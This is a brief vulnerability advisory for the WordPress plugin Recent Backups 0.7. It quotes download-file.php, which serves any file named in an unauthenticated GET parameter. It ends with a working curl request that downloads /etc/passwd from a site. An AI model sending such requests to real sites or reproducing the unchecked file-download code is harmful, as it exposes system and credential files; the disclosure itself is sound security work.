WordPress Plugin Recent Backups 0.7 - Arbitrary File Download

Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 0000-00-00
Vendor Contact: [email protected]
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in  download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded.  This vulnerability can be used
to download sensitive system files:

     2  $file = $_GET['file_link'];
     3  
     4  if (file_exists($file)) {
     5      header('Content-Description: File Transfer');
     6      header('Content-Type: application/octet-stream');
     7      header('Content-Disposition: attachment; filename='.basename($file));
     8      header('Content-Transfer-Encoding: binary');
     9      header('Expires: 0');
    10      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    11      header('Pragma: public');
    12      header('Content-Length: ' . filesize($file));
    13      ob_clean();
    14      flush();
    15      readfile($file);

CVEID:
OSVDB:
Exploit Code:
  • $ curl -v "http://server/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd